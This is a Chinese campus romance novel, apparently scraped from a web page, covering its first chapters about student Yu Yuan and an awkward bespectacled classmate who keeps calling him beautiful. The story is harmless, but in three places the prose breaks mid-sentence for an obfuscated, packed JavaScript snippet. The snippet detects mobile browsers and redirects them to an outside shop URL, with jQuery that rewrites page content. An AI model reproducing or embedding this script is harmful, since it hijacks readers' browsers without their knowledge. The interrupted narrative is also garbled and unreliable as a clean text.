《脸盲人机只会夸我漂亮》 1. 相撞 郁源站在街边发传单。 他套了件宽大的灰色帽衫,衬得身形瘦削,皮肤很白,五官精致,却有清纯的气质。眼睛大而圆,阳光下瞳仁透亮,流动着灿然的神采。 行人经过或靠近时,就毫不胆怯地迎上前,传单送出去,面带很是可爱的笑容,多半不被拒绝。 前方走来一个和他年纪相仿的男生,从看见自己后就开始行注目礼,甚至险些撞上消防栓。 因为外貌出众,郁源从小到大得到类似的视线已不计其数,习以为常到甚至有些疲劳。 但男生的眼神实在太过直白,赤裸裸的毫无遮掩,郁源难免留意。 男生挺高,一身同系列的运动服,款式普通,略显老气,鼻梁上架了副粗边方形黑框眼镜,大得夸张,估计也不轻,几乎遮住半张脸。 距离郁源很近,男生突然停下来,看得出脚步在试探,神情也犹疑,手指绞着衣摆,好像非常紧张。 郁源主动上前,把传单递给他。男生却瞪大眼,好像是被吓到,骤然退后。 “?”什么意思。 郁源嘴角抽动,沉着脸准备把传单撤回,男生却忽地伸手,拽住传单一角。 “……谢,谢谢。” 大概真用了些力道,纸张表面裂出细微的褶痕。郁源怀疑这是一种挑衅,和他僵持不下,冷冷地抬了眸。 男生神情呆滞,只定定地直视他的脸。想到他方才的语气也算诚恳,郁源决定大发慈悲,不再计较。 他松了手,就要走远,男生却追上来,支支吾吾道:“等……等一下。” 他往前迈几步,无意识中伸出手,手臂蹭到郁源的手腕,带起皮肤上一阵细密的战栗。 郁源拧了眉,飞快地把手甩开。 被对方叫停,郁源本来就不大爽快,肢体接触更让他心烦意乱。但尚且残存些许礼貌,郁源深呼一口气:“干什么?” “请问,”男生站在原地,纠结一会儿,“能不能再给我……传单。” 郁源瞥去一眼,又递去一张。 男生接过,压根没看内容,传单搂在胸前,仍然目不转睛地盯着他看。隔了几秒,才缓慢地道谢,径直绕过他,往前走了。 没出十米,男生突然转过身,又朝郁源走来。郁源的额角青筋直跳,满脑子飘过“这人到底踏马要干嘛”。 男生浑然不觉他神色的警惕,走近了,垂眸指了指郁源手里的传单,这次带点赧然:“你好。” “请问,传单……” 郁源没等话说完,噼里啪啦往他手里砸了好几张。男生忙不迭抓稳了,扣进怀里:“谢谢。” 郁源没再搭理他,扭头就走。 以防男生追上,特地穿过马路,来到街道另一边。 口袋里铃声振动,郁源掏出手机,一看来电人,便躲去墙角接。 蒋汀的声音大大咧咧:“郁源,我到岸芷了!祝雨澄说她还在对面楼里那机构上课呢,要再等会儿,反正也近。” “所以你人呢?急着叫我们过来,自己准备最后到?传单还没发完?” 岸芷是郁源亲姐创业开的甜品店,最近在做半周年店庆活动的宣传。恰逢郁源看中一双即将上市的鞋,才想到给岸芷发传单挣点零花钱。 “没发完也准备走人。” 郁源瞥了眼手里的传单,找个垃圾桶一丢了之的欲望愈发强烈:“热的要死就算了,还遇到个傻叉。” “怎么了?” 郁源言简意赅:“男的,找我要了三遍传单。” “欧买噶,真是好拙劣的搭讪。”蒋汀叹为观止,调侃道,“怎么,又有人对你这个天菜一见钟情?” “哇哦,”郁源闻言,颇为自嘲地翻个白眼,“对我一见钟情的人能从这里排到步行街,这人又算哪根——” “……你好。” 一道声音突兀地响起,郁源浑身一滞,寒意顷刻攀上汗湿的脊背。 很快这股寒意被直窜头顶的怒火取代,郁源猛地转身,忍无可忍朝来人吼:“没完了?!你到底是有什么事?!” 蒋汀这会也回过味来:“卧槽?” 男生搂着那叠工工整整的传单,眼神中掠过刹那的惶惑,但坚持与郁源四目相对。 他开口,像鼓足很大的勇气,喉结一滚:“你好……” 郁源瞪视着他,喉咙里烟熏火燎,如有碳块燃烧,正准备张嘴输出,却听见男生怔怔地说: “你好漂亮啊。” “……?” 郁源愣住。 周遭陷入诡异的死寂,连电话那头也一并没有声音。 郁源举着手机,方才手腕处被男生碰到的那块皮肤似乎粘腻发紧,扯得肌肉酸疼。 他恍惚地把手机放下,定了定神,愈发觉得胸闷气短、头晕目眩,初春的温度里出现类似中暑的症状,话音余韵被心跳包裹,在胸腔砸出咚的一声。 半晌,郁源面无表情:“那很感谢你的夸奖。”话虽如此,语气里听不出半点被赞美的喜悦:“你说完了?还有事吗。” “没有了,”男生摇头,镜片后的眼睛倏地亮了亮,话音终于有所起伏,“我只是想告诉你这个。” 他又定睛看了看郁源,喃喃自语:“真的,好漂亮。” 郁源:“。” “我要走了。”男生推一下眼镜,不忘记和他告别,“再见。” 说罢,他走到郁源的身侧,径直往前走。到余光也将看不见郁源的位置,又停下来,语气和神情都很认真:“再见。” 郁源:“……” ——神经病!!! 看男生走出去很远,终于彻底消失在拐角,郁源收回视线。 手机里蒋汀放肆的笑声一直没停,郁源缓了缓神,才说:“……蒋汀,别笑了。” 蒋汀还在笑,甚至喘不过气。郁源咬牙切齿,又重复一遍:“蒋汀,你大爷的,再笑我就挂了。” “郁源,你至于和我计较?”蒋汀憋了好一会儿,才用发着颤的声音说,“不是你说对你一见钟情的人能排到步行街,遇见一两个奇葩也……” 郁源真把电话挂了。 他把剩下的传单一卷,囫囵塞进帽衫前兜里,拿出手机搜索回岸芷的路线。 最熟悉的地铁站根本不需要导航,但正好是男生离开的方位。 为避免和对方再次碰到,郁源只得另寻他路,最后决定穿过一座城中村,去别的街道搭乘公交。 - 城中村内巷道交错,小路四通八达。 郁源曾在附近的湘耘中学就读,对周围地形大致熟悉。 没走很久,忽然听见左边的巷弄传来责骂声,随之而起的是属于女孩子的低弱的抽泣。 郁源前去查看情况,见巷道内的墙边站了三个人,两男一女,都穿着校服。 两个男生把年纪稍小的女生围困在角落,表情很凶,而女孩低着头,一副泫然欲泣的模样。 郁源皱了皱眉,思忖一会儿,打开相机录像。 其中发型是锡纸烫的男生手上拿根烟,恶言恶语地威胁:“身上就这点钱?骗鬼啊。剩下的全都交出来,不然让你好看。” 女孩闻言拼命摇头,眼泪一颗一颗往下掉。另一个寸头咒骂几句,开始用力扯她的校服外套和书包背带。 郁源再也看不下去,关闭录像,抬腿就往里走:“天啊,你们是在敲诈勒索吗?” 锡纸烫和寸头俱是一惊,定睛一瞧,来人竟然是个唇红齿白的少年,体格看起来弱不禁风,于是谁都没放在眼里。 “看什么看小白脸,”锡纸烫冲他一抬下巴,轻蔑道,“再多管闲事,连你……” 话音未落,郁源举起手机,又是咔嚓两声:“那实在不好意思,来都来了,顺手拍几张。” “靠,”锡纸烫被激怒了,“小白脸,显着你了是吧?来来来,你过来,把手机自己交了,别逼着我们抢。” 郁源站在原地一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471545|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动不动,眼神冷冷的:“你招狗呢?” “招的就是你,”寸头靠近郁源,挑衅道,“要当孙子的装什么……” 话没说完,郁源出手利落,一个过肩摔就把人撂倒。 砰一声闷响,身体重重砸在水泥地面,周身尘土扬起几寸高度,须臾扑簌下落。 寸头被摔得眼冒金星,蜷缩着挣扎好一会儿,也没能重新爬起来。 郁源居高临下,鞋尖在他腰侧踢了踢,不屑地眯起眼:“到底谁是孙子?” 郁源童年时体弱多病,相貌又像小姑娘一样,担忧他在学校受欺负,父母把他送去学跆拳道,一学就是近十年。 因为拥有实际力量与本领,郁源自幼对一切恃强凌弱、以大欺小的行为充满厌恶,做不到视若无睹、忍气吞声。 哪怕还在上小学时,曾撞见同学被高年级围殴,也二话不说加入混战,把几人打得落花流水抱头鼠窜。 锡纸烫瞪着倒地抽搐的寸头,脖颈缩了缩,牙关咬紧:“想装逼?老子等下就拿烟头烫烂你的脸!” 说罢,面目狰狞地朝郁源猛冲而来! 郁源示意女孩赶紧走,随即往前几步,敏捷躲开锡纸烫挥来的两拳,烟头明灭的火星堪堪擦过他的下颔。 郁源冷静地别过脸,迅速扣住对方手腕,用力反向一拧! 锡纸烫目眦尽裂,喉咙像管生锈而破败的口琴,挤出嘶哑的喊叫。 紧接着喊叫也戛然而止,郁源抬腿,狠狠踹向他的腹部—— 哐当! 锡纸烫被他踹倒在地,撞翻了墙角的垃圾桶。 - 眼前锡纸烫摇摇晃晃,手脚并用要从满地恶臭的垃圾中起身。 郁源快步走近,往他肩头又补一脚:“垃圾能不能滚回垃圾堆啊?” 锡纸烫再次倒地,郁源摘下兜帽,撩起额前散乱的发丝。环顾四周,突然发现巷道内竟然只有自己和锡纸烫两人。 方才注意力全在锡纸烫身上,寸头何时离开郁源并未察觉。 心中升起微妙的预感,目的已经达到,如果寸头真是去叫人,一打多的局面对自己非常不利。 郁源立即往巷口走,砖墙之外猛然响起错杂而急促的脚步声,惊飞了电线杆上停留的雀鸟。 郁源刚出巷道,就听见一声厉喝——不远处寸头一瘸一拐,身后站着四五个混混模样、拿着棍棒的青年。 郁源当机立断,拔腿就跑。 - 郁源跑得很快,却也没有把身后的人远远甩开。 前兜的传单此刻成为负担,沿路没看见垃圾桶,传单上印有岸芷的地址,生怕后续引来麻烦,不能随意一丢了之。 好几次传单都要歪歪斜斜滑坠出去,郁源只得分神取出,紧握在手里。 左转进入第二个巷口,有条路通往湘耘中学对面小区的侧门,穿过小区就能到达要去的街道。 郁源按照计划的路线继续奔逃,叫骂与追赶的脚步声逐渐减轻,最后被吹过耳边的风声完全掩盖。 顺利进入小区,身后已没有那群混混的身影。体力快要透支,郁源放慢一些,直到终于看见小区侧门,才又重新加速。 刚冲出门槛,郁源准备右转,拐角盲区突然走出一个人。 “!” 郁源躲闪不及,迎面撞上。 胸口被撞得钝痛,传单脱了手,顷刻怀中纸页四散,稀里哗啦在方寸间纷飞。 这力受得太过结实,郁源踉跄几步,重心不稳摔坐在地上。对方显然也毫无防备,同样被撞倒。 从天旋地转中回神,郁源扶住额角,缓缓抬起眼,视线上移。 而后目光凝滞,呼吸蓦地停住。 ……操。 衣着不会有错,先前给自己留下深刻印象:是那个找他讨要三遍传单、举止怪异最后又语出惊人的男生。 ——此刻眼镜被撞掉,额前头发掀起,露出一张不能再符合自己审美取向的脸。 2. 再遇 郁源完全没有想到,仅仅一副眼镜,就能给人的相貌和气质带来如此颠覆的反差。 失去眼镜遮挡,男生极其深邃的五官就毫无保留地显现出来,长睫浓密,瞳孔沉黑,从眉骨到鼻梁连同下颌的线条无不清晰明锐。 此刻唇角平直,淡淡地抿成一束,全然没有方才搭讪的局促拘谨,反倒给人几分锋芒毕露的意味。 郁源大脑一片空白,哪怕知道自己的目光大概过分赤裸,也顿时忘记移开。 男生终于动了动,迟缓地抬起脸,看见郁源时也呆愣当场,与他怔然地四目相对。 郁源有些尴尬,这才欲盖弥彰地别过脸,刚张嘴想说点什么,就见男生俯身,满地摸索起来:“……” 郁源反应过来,低头去寻找他的眼镜,很快发现眼镜就掉在自己身侧不远,被一张传单遮住半边。 郁源捡起眼镜,给他递过去。 “谢谢。” 男生愣了愣,随即接过眼镜,别开镜腿重新戴上。 郁源沉默地看着他动作,抿一抿唇,失落和惋惜的情绪转瞬即逝,甚至有想叹气的冲动。 正走着神,男生已经固定好眼镜,重新恢复那副木讷的模样,而镜片后幽深的瞳孔聚起一点光亮,定定地落在郁源的脸上。 郁源困惑,男生突然向前,毫无征兆地朝郁源逼近。气氛霎时变得微妙,郁源不自觉地吞一口唾沫,下意识后退好几步。 即便如此,对方高大的阴影直直地砸下,不由分说将他笼罩,从头到脚裹进一片沉暗。郁源退无可退,只得仰起脸,虚张声势地瞪他。 下一秒,男生站定,语气郑重而恳切:“对不起。” “?” 郁源一时无言以对。 正准备开口,余光里突然出现几个熟悉的身影——是那群穷追不舍的混混,正在四处张望,看来还未放弃搜寻。 郁源心中警铃大作,闪身躲去墙边死角。 确认没有被发现,郁源松口气,抬头对上男生欲言又止的眼神,不爽地反问:“又干什么?” “你的东西……”男生看了看地上散乱的传单。 经他提醒,郁源才想起来这茬。 但被更危急的事情扰乱心神,郁源没有立刻回答,男生就自顾自作出决定:“是我没有注意看路,害你摔倒了,我来捡吧。” 郁源抬起眉毛,惊讶地打量他,劝阻的话还没说出,马路对面一辆公交遥遥驶来,过完路口的红绿灯就即将到站,正巧是郁源要搭乘的车号。 男生已经在弯腰捡传单,捡起来的一张一张对齐抚平,很是认真专注。 时间不允许自己磋磨,郁源纠结片刻,出声打断:“我现在有急事,要先走了。” 男生停下来,缓慢地推了一下眼镜,目光落在怀中的传单上,又看向郁源,有些茫然。 “谢谢你替我捡传单,”郁源瞥一眼红绿灯上的数字,心里逐渐焦躁,但耐着性子和他长话短说:“但我不要了,随便你怎么处理,找垃圾桶丢了都行。” 不等男生回应,郁源快步朝街口的方向走。还没迈出多远,身后就传来厉喝——领头的混混抬手指着他,其他人拔腿就朝郁源跑来。 “……” 郁源闭了闭眼,顾不得是否狼狈,小跑变成狂奔。 踩着绿灯的最后几秒穿越马路,有惊无险踏上公交车,手心已一片汗湿。 郁源透过车窗往外看,气急败坏的混混们被阻隔在对面,身侧滚过车流嘈杂庞大的轰鸣。 - “小源来了?” 郁源踏入岸芷的店门,店员小周姐亲切地迎上前:“你两个朋友早就到了,在最里面的卡座。” “半路突然有点事,所以来晚了些,”郁源自然地接腔,“对了小周姐,我定制的几张卡呢?郁清说昨天到了。” “是呢。”小周姐闻言,绕去柜台后翻找,没一会儿摸出三张颜色鲜亮的储值卡,递给郁源。 三张储值卡的卡面各不相同,分别出自郁源小学时上美术兴趣班绘制的三幅简笔画。 郁源在兴趣班里与同样学美术的蒋汀相识,又和同一个教室学书法的祝雨澄成为朋友,这是他们三人多年友谊的起点。 郁源接过,小周姐又说:“小源,刚才我就想问了,你中午拿那么大沓传单出去,怎么一张都没带回来。下午都发完了?” “……”郁源一滞,不着痕迹把嘴角咧开些,撑起一个冠冕堂皇的笑容,“那是当然,也不看是谁发的。” “哇,还是小源厉害,”小周姐感慨,“得亏是你愿意帮忙,一个下午就发出去这么多。我先前还担心印多了浪费呢,有你在就不怕了。” “哈哈,小周姐这么夸,我简直不好意思。”郁源弯出一对盈盈笑眼,朝她风轻云淡地摆了摆手,“都是小事,举手之劳而已。” 反正郁清会给钱。他在心里想。 “不说了小周姐,我朋友肯定久等了,我去找他们。”郁源和她别过,转身的瞬间收敛神情,眉眼沉下来,有一些疲倦。 “圆圆?”祝雨澄先看见他,询问道,“怎么来这么晚。”须臾又说:“被追着要传单那事蒋汀已经和我说了,你来晚了还是和这事有关系?” 郁源不置可否,脸上大写一个烦字:“我今天出门就应该先看黄历。” 说罢大马金刀往他们对面一坐,先给自己倒了杯水。一饮而尽后,郁源滔滔不绝,和他们讲起这个跌宕起伏的下午,又刻意隐去与男生相撞后的部分细节。 两人听得瞠目结舌,祝雨澄忍不住问:“你没受伤吧,郁源?” “我没事,不用担心。”郁源说完,又转向蒋汀,“之前听你说,湘耘高中部校园墙的运营人是你初中同学?” “是啊,怎么了?”蒋汀点头,“我们比较熟,前段时间还聊天呢。她是校园墙运营这事儿可没多少人知道。” 郁源打开手机,给蒋汀发送一段视频。 蒋汀摁下播放键,眼睛越张越大,不可置信地望着他。 郁源说:“在路上我给被敲诈勒索的女生打了码,你问问你同学,这个视频发到校园墙上有没有问题。” 蒋汀忙不迭答应,立刻给初中同学发消息。没过几分钟,得到肯定答复:“她说必须没问题。” 他的语气里有些隐隐的兴奋:“置顶挂一个月,绝对让他们人尽皆知身败名裂。” “刚才怎么没说你录了像?”蒋汀说,“靠,原来准备在这里装个大的。” “……行了。”郁源主动揭过话题,“我还是说正事吧。” “今天叫你们两个过来,是因为这个。”他把三张储值卡放桌上,往两人面前推了推,“卡里面我充了点钱,不多,但一时半会应该也用不完。以后来岸芷,直接用卡里的钱就好。” “选图我取舍不了,干脆做了三张,你俩挑一张自己喜欢的。” “妈呀圆圆……” 祝雨澄和蒋汀对视一眼,感动得捂住嘴。郁源最怕他俩煽情,赶紧催促道:“快点,再不挑我收走了。” 话音刚落,两人争先恐后地伸出手,各自抢夺了一张。 郁源:“……” 他叫小周姐过来,拿两人挑好的卡去充值。 剩下那张被郁源握在手里把玩,他在岸芷向来厚着脸皮吃白食,并不打算自用,顿时觉得这张卡的存在很多余。 祝雨澄想了想,从善如流:“哪里多余?你可以留给自己的crush。” 郁源看她一眼:“我的crush在哪?你给我变出来。” “哎,你急什么?有缘自会相见嘛。”祝雨澄打趣。 尽管是祝雨澄的玩笑,也让郁源陷入沉思。 恋爱不是没有憧憬过,毕竟自己各方面条件都不差,为什么不能拥有小说里纯洁又美好的校园恋爱,而那么多年无人入眼,至今片叶不沾,即使是暧昧关系都从未发生。 “是我要求高吗?”郁源郁闷地发问,“我就想找一个人品好,智商高,长得英俊帅气的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471546|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生当对象,这几点真的很难满足?” 蒋汀一口奶茶差点喷出来,满脸“你要不听下自己在说什么”。 “注意听,”祝雨橙说,“有的人看似把外貌放最后表示自己没那么care,但实际上超级在意。” “在意又如何?”郁源恼羞成怒地辩解,“毕竟我自己也……算是众所周知的好看,找个颜值高的有问题?” “那当然没问题,”蒋汀戏谑道,“只是找一个符合你标准的‘颜值高’就确实很有问题。” 郁源皱眉,正要反驳“又不是没有”,脑海中画面闪回,骤然浮现相撞后男生未戴眼镜的脸。 “……” 郁源诡异地沉默,不动声色捏紧了手中卡面。 - 晚上郁源洗完澡,舒舒服服躺进被窝,正打开购物软件,要给自己想买的那双鞋挑选颜色,手机突然抖落几声鸡零狗碎的振动。 郁源定睛一看,弹窗提醒收到郁清发来的消息。 郁清发来一张照片。 照片上是一叠传单,拿了塑料袋妥帖地装好,塑料袋正面还贴着张便利贴。 郁源把照片放大,便利贴上一行遒劲的钢笔字:“已代为保管,望物归原主。” “?” 郁源两眼一黑,退出照片,郁清已对他发起数条语音进行狂轰滥炸。 郁源点击最上面那条:“郁源你皮痒了?让你发传单,你往一个人手里塞?” 郁源心虚得没敢听下去,连忙暂停,又点进最新一条:“郁源,整了半天你是准备在我这空手套白狼?” “不想让我打报告给爸妈,”郁清斩钉截铁,“现在立刻马上,给我还钱!” 郁源:“……” - “这人是不是有毛病?” 郁源叼着根棒棒糖,把糖咬碎了,塑料棍儿捏手里折弯:“正常人的脑回路不就是收拾完丢掉?他到底送回来干嘛?” “蓄意报复,绝对是蓄意报复,”蒋汀连声附和,“肯定是看你不顺眼啊,把传单送回来让你吃瘪!” “那字条呢,什么意思?” “这还不简单?”蒋汀义愤填膺,“借口而已。看似热心,实则挑衅!” 两人边说着,来到小卖部,郁源拿瓶矿泉水,扭头看向蒋汀,“我校园卡丢了,还没挂失,你帮我付一下。” “哦。”蒋汀接过,掏出校园卡结账,顺口问,“什么时候丢的。” “……”郁源沉默一下,才说,“昨天。” “啊?”蒋汀大惊失色,“昨天?!你丢哪了?” “我哪知道?可能就……逃跑的半路吧。”郁源含糊其词,“今早出门才发现不见了。” 校园卡上有姓名学号班级和证件照,对于附中学生来说,丢校园卡和丢身份证也差不多了。 “……我真服了你了,”蒋汀说,“万一被那群混混捡到怎么办?他们要是在附中门口堵你怎么办?” “还能怎么办,”郁源被他这样一说,也越来越烦,破罐破摔道,“我也没办法。” 蒋汀:“……” 两人一路无话地进了教学楼,上楼梯时郁源突然又开口:“他至于吗?这么讨厌我。” “?” 蒋汀替他担惊受怕半天,结果郁源竟然还在纠结传单被送回的事,顿时无语:“他讨不讨厌你重要吗?这辈子能不能再见到面都另说。” “好吧。”蒋汀说得很在理,但郁源还是受打击,他想不通,“可他都说了我漂亮啊,为什么还蓄意报复我?” “也不一定是想报复啦,”蒋汀阴阳怪气地挖苦,“让我们延续一见钟情设定,说不准人家其实是想引起你的注意。” 郁源却不说话了。 “圆圆?”蒋汀以为自己过火,连忙小心翼翼询问,“……生气了?” 郁源没搭理他,僵硬地杵在原地,瞪大眼睛,神情惊悚。 ——他们话题中的主人公,此时正站在自己的班门口。 3. 偷看 郁源宛若石化,一动不动。 不到二十四小时,素昧平生的两个人,竟能以如此荒诞的方式碰面数次。 郁源有一些恍惚,指甲掐进掌心里,让他确认不是幻觉,也并非做梦。 男生已经看见他,架一下眼镜,朝郁源走来。两人的距离没有太近,镜片后的视线很隐晦,郁源看不清楚,也无意清楚。 但不想落于被动,郁源克制地一咬牙,沉着脸踏完最后几节台阶,从楼梯间的阴影处踱进走廊的粼粼光亮。 男生站定在身前,用郑重而板正的语气说: “郁源同学,你好。” 短暂的分秒里,细汗已打湿郁源的整片后背,而眉宇之间毫无端倪,硬生生捏出淡然的形状。 男生从口袋里摸出一张校园卡,双手递向郁源:“这是你遗失的校园卡。昨天被我捡到。” “……” 郁源看了看校园卡,又看了看他。 男生顿了顿,一本正经地解释:“去归还传单的时候,你并不在店里。我觉得,比起传单,这种有隐私信息的物品,还是当面交给本人为好。” “……” 郁源看了看校园卡,又看了看他。 这人好像真的完全没有觉得自己把传单送回来有任何问题。 郁源心生疑窦,难不成是装的? “真是谢谢你,考虑那么周到。” 郁源飞快地把卡抽走:“还不惜那么辛苦地跑去店里一趟。”他假笑一下,特地给“辛苦”两个字咬了重音。 “不辛苦的。” 男生腼腆地抿一抿唇,似乎因郁源的感谢而不大好意思,轻轻地垂下眼睛,终于错开了一直停留在郁源脸上的视线。 “……” 郁源释然地顿悟了。 看对方这反应,具备精湛的演技这一点似乎是无稽之谈。 须臾,男生又把眼睛抬起,直勾勾地盯着郁源看。目光很纯粹,未掺带任何杂质,郁源并不讨厌。 但临近上课,回到班上的同学越来越多,周遭已经有不少人围观。郁源心乱如麻,硬着头皮道:“你还有什么事吗?” 被郁源这么一问,男生思忖会儿,似乎在迟疑,但最终还是开口:“有的。” 他的脸上出现了大概是关心和担忧的表情,随即用平铺直叙、慢条斯理的口吻说: “郁源同学。” “你说有人蓄意报复你,是遇到了什么麻烦吗?” 郁源:“……………………………” 沉默刹那如永恒。 “没有。” 死寂片刻,郁源果断回答。 “哦。” 男生点点头,扶一下眼镜,好整以暇道,“那希望也不要有吧。” 少顷,又说,“要上课了,我走了。再见。”话毕,朝郁源微微一欠身,转身往楼上走去。 “我靠,”蒋汀终于凑上前,用手肘顶了顶郁源,“这人的班在楼上?没想到啊,还是个学霸来的。” 再往上走,除了实验班就是竞赛班,随便抓一个都半只脚踏进重本,含金量不言自明了。 郁源一瞥这个方才让他无地自容的大嗓门,懒得接话。 “你看我干嘛?”蒋汀一副少见多怪的表情,“我又不傻。” “他脸上这么大的眼镜,举手投足像个人机,这要认不出来是你昨天碰见的那傻叉,我就是傻叉。” “不过怎么会有这么巧的事呢,”蒋汀抬手摩挲起下巴,感慨道,“他竟然也是附中的,还刚好捡到你校园卡,真是有缘自会相见啊……郁源你又看我干嘛?” 郁源听见后半句,想到昨天祝雨澄说的话,不敢表现出来,只能又狠狠剜他一眼。 蒋汀很无辜地闭嘴,后知后觉想起什么,猛地一拍后脑勺:“卧槽,圆圆。” “刚才我们聊的话……你说他会不会听到了?” “……” 简直是哪壶不开提哪壶,郁源不置可否,闭上眼睛,接连做了好几个深呼吸。 “蓄意报复……” “一见钟情……” “引起你的注意……” 郁源根本不敢再继续回想下去,尴尬得如鲠在喉,面上耳根一片燥热。他瞪着蒋汀,气急败坏道: “都怪你!!!” “……啊?我?”蒋汀指了指自己,满脸错愕,“……是我的责任?” “怎么不是?”郁源质问,“谁要你像个喇叭一样讲话那么大声?” “我靠!” 蒋汀受不了这样的指控,瞬间切换模式,张牙舞爪地朝郁源扑来: “郁源你有没有良心?不是你自己非要和我扯这个话题?” “那谁要你……”郁源环顾四周,压低声音,“谁要你说人家蓄意报复?说人家一见钟情?”这下都被听见,自己以后还要不要脸了??? 两人吵吵嚷嚷走进教室,相看生厌地分道扬镳。 郁源回到座位,坐在前排的班长突然叫他。正纳闷,班长一脸好奇地问道:“你认识宋之信?” “?”郁源没听清楚,“送什么信?” “就是刚才走廊上跟你说话那个男生啊,”班长说,“他叫宋之信。” “哦,”郁源说,“很有名?我真不认识。” “我们年级的竞赛大佬呢,板上钉钉的清北预备役。”班长露出羡慕的神情,“智商高真是好啊。” “?”这么厉害。 “你哪里差了,”少顷,郁源朝她笑了笑,“你走艺考,按能力上个央美国美也肯定没问题啊。” 班长被他夸得按耐不住笑意,连连摆手,谦虚道:“哎呀只是目标啦。”随后又开口,“噢对了。” “我们楼下荣誉墙不还贴了照片吗,”班长说,“里面就有宋之信呀,你平时跑完操路过不看?” 看当然是随便看过几眼,但这荣誉墙有什么好看的? 郁源腹诽,这群人七百分的成绩,看多了能复制粘贴到自己试卷上? - “这荣誉墙有什么好看的?” 蒋汀双手抱胸,忍无可忍:“说好跑完操就去买水,我快要渴死了,而你已经在这破墙前看了几分钟。” 郁源置若罔闻,眼神停在荣誉墙众多照片中的某一张。 仍然是那副很大的黑框眼镜,但头发有一些厚重,画质也模糊,五官看不清楚,就显得泯然众人。 ——这都拍成什么样了? 郁源对此不甚满意。 “郁源你到底听没听我讲话?!” “我看祝雨澄不行?” 郁源收回视线,指了指恰好处在同一块位置的祝雨澄的照片,理直气壮:“和年级前二十做朋友,你不觉得与有荣焉?不觉得需要多加关注?” “你可拉倒吧。” 蒋汀送去一个白眼。 两人来到小卖部,蒋汀拿了水,又跑去了泡面货架,店内太热,郁源便独自站在外面等。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471547|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >郁源心不在焉,想到宋之信这么一张脸,竟然没经过认真打理,本人对此似乎也毫不在意,愈发觉得浪费和可惜。 正百无聊赖走着神,前面并排走来好几个同学。郁源一边避让,一边抬起眼,正好看见不远处的宋之信。 “?” 郁源的眉心重重一跳,与宋之信对视。 这么巧? 目光交错的瞬间,宋之信怔愣几秒,立刻别开了整张脸。 ——装没看见? 郁源气势汹汹地瞪他,而宋之信却怎么也不再回视,梗着脖颈,双手垂落身侧,像个犯错后害怕被批评的小孩。 路过郁源的时候,才扶住镜框,局促地朝郁源一点头,镜片上的反光摇摇晃晃,眼底所有情绪变得模糊。 蒋汀抱着东西出来,正好与钻入小卖部的宋之信擦肩而过。他狐疑地往店内张望一眼:“哎,圆圆。” “你看见没?刚才那个是不是……” “我还没瞎。” 郁源生怕他胡说八道,连忙打断。 “这么巧啊?他也来小卖部。” 两人往教学楼的方向走,蒋汀果然在没话找话:“算了,还人家购物自由,总不能是跟着你才……” 蒋汀还没说完,郁源忽地停下,猛然转身——宋之信站在小卖部门口,正盯着自己看。 郁源对他人的视线向来敏锐,只是不想被过度分神,习惯于选择忽略。 但这束来自宋之信的视线太过强势,几乎直戳脊梁,隔着遥遥人群依旧胶凝,像具有某种实质,稳定,集中,岿然不动。 目光再次精准对撞,郁源沉着脸,眼神带有警告的意味。 宋之信明显一僵,仓皇垂头,矿泉水从左手换到右手,一个没拿稳,啪嗒掉在地上,顺着斜坡滚出很远。 宋之信慌慌张张,弯下腰去追捡。 “……” 郁源无语,收回视线,去拧矿泉水瓶盖,而握住瓶身的那只手用多力气,水流汨汨涌出,顷刻间淌了满手。 “卧槽!” 蒋汀吱哇乱叫,连忙跳开。 他掏遍浑身上下所有口袋,一张餐巾纸也没找出来:“圆圆你有纸吗,我给你去买一包?” “算了,”郁源烦道,“让它流着吧。” 两人继续往前,没过很久,郁源再次感到肩背发紧,后颈处的皮肤刺麻,像有虫蚁爬行。 他略微偏头,宋之信位于余光边缘,脚下亦步亦趋,露出小心翼翼的神色,视线克制很多,但锚定在自己的脸上,仍然执着。 “……”郁源烦不胜烦。 ——到底在看什么? 中午郁源和蒋汀去食堂吃饭,二人坐在彼此对面,蒋汀尝了几口,抱怨道:“今天的菜好难吃。” 郁源看他一眼:“我省钱买鞋才吃食堂,你又因为什么?” “游戏出了新装备,没忍住。” 蒋汀痛心疾首。 “我搞不懂,”郁源说,“几百块,一堆代码,有什么好买的。” “还好吧。”蒋汀也不客气,“我搞不懂,几千块,一双鞋,有什么好穿的?” 这时头顶插进一道平淡的声音: “麻烦借过一下。” “……” 二人辨认出来,几乎同时陷入死寂。 身前的桌面掠过一片人影,郁源埋着头,不动声色捏紧双筷。 ——宋之信堂而皇之,就这么端着餐盘在他们邻桌坐下了。 4. 爆发 两人谁也没说话,梗着脖子大眼瞪小眼。 半晌,蒋汀的声音才从牙缝里挤出来:“怎么又是他?” “我哪知道?” 